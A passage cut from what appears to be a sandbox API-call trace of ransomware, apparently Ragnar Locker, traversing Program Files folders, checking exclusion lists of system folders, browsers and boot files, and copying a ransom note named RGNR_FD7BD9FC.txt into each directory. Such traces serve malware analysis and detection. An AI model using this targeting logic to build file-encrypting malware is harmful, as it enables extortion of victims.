(lpString1="MSMAPI32.DLL", lpString2="desktop.ini") returned 1 [0078.636] lstrcmpiW (lpString1="MSMAPI32.DLL", lpString2="iconcache.db") returned 1 [0078.636] lstrcmpiW (lpString1="MSMAPI32.DLL", lpString2="ntldr") returned -1 [0078.636] lstrcmpiW (lpString1="MSMAPI32.DLL", lpString2="ntuser.dat") returned -1 [0078.636] lstrcmpiW (lpString1="MSMAPI32.DLL", lpString2="ntuser.dat.log") returned -1 [0078.636] lstrcmpiW (lpString1="MSMAPI32.DLL", lpString2="ntuser.ini") returned -1 [0078.636] lstrcmpiW (lpString1="MSMAPI32.DLL", lpString2="thumbs.db") returned -1 [0078.636] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0078.636] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0078.636] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0078.636] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811d91a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x811d91a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.636] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0078.636] lstrcpyW (in: lpString1=0x1eab52, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.636] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.636] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.636] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811d91a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x811d91a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.636] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.636] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811b3040, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x811b3040, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.636] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.636] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.636] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811b3040, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x811b3040, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.636] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.637] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x811b3040, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x811b3040, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.637] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x811b3040, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x811b3040, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.637] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x811d91a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x811d91a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0078.637] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811b3040, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x811b3040, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.637] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.637] lstrcpyW (in: lpString1=0x1eb620, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.637] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.637] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.637] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811b3040, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x811b3040, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.637] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.637] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0078.637] lstrcmpiW (lpString1="Ole DB", lpString2=".") returned 1 [0078.637] lstrcmpiW (lpString1="Ole DB", lpString2="..") returned 1 [0078.637] lstrcmpiW (lpString1="Ole DB", lpString2="Windows") returned -1 [0078.637] lstrcmpiW (lpString1="Ole DB", lpString2="Windows.old") returned -1 [0078.637] lstrcmpiW (lpString1="Ole DB", lpString2="Tor browser") returned -1 [0078.637] lstrcmpiW (lpString1="Ole DB", lpString2="Internet Explorer") returned 1 [0078.637] lstrcmpiW (lpString1="Ole DB", lpString2="Google") returned 1 [0078.637] lstrcmpiW (lpString1="Ole DB", lpString2="Opera") returned -1 [0078.637] lstrcmpiW (lpString1="Ole DB", lpString2="Opera Software") returned -1 [0078.637] lstrcmpiW (lpString1="Ole DB", lpString2="Mozilla") returned 1 [0078.637] lstrcmpiW (lpString1="Ole DB", lpString2="Mozilla Firefox") returned 1 [0078.637] lstrcmpiW (lpString1="Ole DB", lpString2="$Recycle.Bin") returned 1 [0078.637] lstrcmpiW (lpString1="Ole DB", lpString2="ProgramData") returned -1 [0078.637] lstrcmpiW (lpString1="Ole DB", lpString2="All Users") returned 1 [0078.637] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x2c [0078.637] lstrcpyW (in: lpString1=0x1ec0ea, lpString2="Ole DB" | out: lpString1="Ole DB") returned="Ole DB" [0078.637] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\" [0078.637] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\" [0078.638] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\RGNR_FD7BD9FC.txt" [0078.638] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.643] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*" [0078.643] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.643] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.644] lstrcpyW (in: lpString1=0x1eb20c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.644] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x811d91a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x811d91a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.644] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.644] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x811d91a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x811d91a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.644] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.644] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.644] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0078.644] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0078.644] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0078.644] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1 [0078.644] lstrcmpiW (lpString1="en-US", lpString2="Windows.old") returned -1 [0078.644] lstrcmpiW (lpString1="en-US", lpString2="Tor browser") returned -1 [0078.644] lstrcmpiW (lpString1="en-US", lpString2="Internet Explorer") returned -1 [0078.644] lstrcmpiW (lpString1="en-US", lpString2="Google") returned -1 [0078.644] lstrcmpiW (lpString1="en-US", lpString2="Opera") returned -1 [0078.644] lstrcmpiW (lpString1="en-US", lpString2="Opera Software") returned -1 [0078.644] lstrcmpiW (lpString1="en-US", lpString2="Mozilla") returned -1 [0078.644] lstrcmpiW (lpString1="en-US", lpString2="Mozilla Firefox") returned -1 [0078.644] lstrcmpiW (lpString1="en-US", lpString2="$Recycle.Bin") returned 1 [0078.644] lstrcmpiW (lpString1="en-US", lpString2="ProgramData") returned -1 [0078.644] lstrcmpiW (lpString1="en-US", lpString2="All Users") returned 1 [0078.644] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.644] lstrcpyW (in: lpString1=0x1eb620, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0078.644] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\" [0078.644] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\" [0078.644] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\RGNR_FD7BD9FC.txt" [0078.644] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.648] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*" [0078.648] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x39 [0078.648] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.649] lstrcpyW (in: lpString1=0x1ea740, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.649] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x811d91a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x811d91a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.649] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.649] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x811d91a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x811d91a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.649] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.649] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.649] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0078.649] lstrcmpiW (lpString1="msdasqlr.dll.mui", lpString2=".") returned 1 [0078.649] lstrcmpiW (lpString1="msdasqlr.dll.mui", lpString2="..") returned 1 [0078.649] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0078.649] lstrcmpiW (lpString1="oledb32r.dll.mui", lpString2=".") returned 1 [0078.649] lstrcmpiW (lpString1="oledb32r.dll.mui", lpString2="..") returned 1 [0078.649] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811d91a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x811d91a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.649] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.649] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.649] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb93886, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb93886, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0078.649] lstrcmpiW (lpString1="sqloledb.rll.mui", lpString2=".") returned 1 [0078.649] lstrcmpiW (lpString1="sqloledb.rll.mui", lpString2="..") returned 1 [0078.649] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0078.649] lstrcmpiW (lpString1="sqlxmlx.rll.mui", lpString2=".") returned 1 [0078.649] lstrcmpiW (lpString1="sqlxmlx.rll.mui", lpString2="..") returned 1 [0078.649] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0078.649] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.649] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x811d91a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x811d91a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.649] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x811d91a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x811d91a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.650] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0078.650] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x39 [0078.650] lstrcpyW (in: lpString1=0x1eab54, lpString2="msdasqlr.dll.mui" | out: lpString1="msdasqlr.dll.mui") returned="msdasqlr.dll.mui" [0078.650] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui") returned=".mui" [0078.650] lstrcmpiW (lpString1="msdasqlr.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.650] lstrcmpiW (lpString1="msdasqlr.dll.mui", lpString2="autorun.inf") returned 1 [0078.650] lstrcmpiW (lpString1="msdasqlr.dll.mui", lpString2="boot.ini") returned 1 [0078.650] lstrcmpiW (lpString1="msdasqlr.dll.mui", lpString2="bootfont.bin") returned 1 [0078.650] lstrcmpiW (lpString1="msdasqlr.dll.mui", lpString2="bootsect.bak") returned 1 [0078.650] lstrcmpiW (lpString1="msdasqlr.dll.mui", lpString2="bootmgr") returned 1 [0078.650] lstrcmpiW (lpString1="msdasqlr.dll.mui", lpString2="bootmgr.efi") returned 1 [0078.650] lstrcmpiW (lpString1="msdasqlr.dll.mui", lpString2="bootmgfw.efi") returned 1 [0078.650] lstrcmpiW (lpString1="msdasqlr.dll.mui", lpString2="desktop.ini") returned 1 [0078.650] lstrcmpiW (lpString1="msdasqlr.dll.mui", lpString2="iconcache.db") returned 1 [0078.650] lstrcmpiW (lpString1="msdasqlr.dll.mui", lpString2="ntldr") returned -1 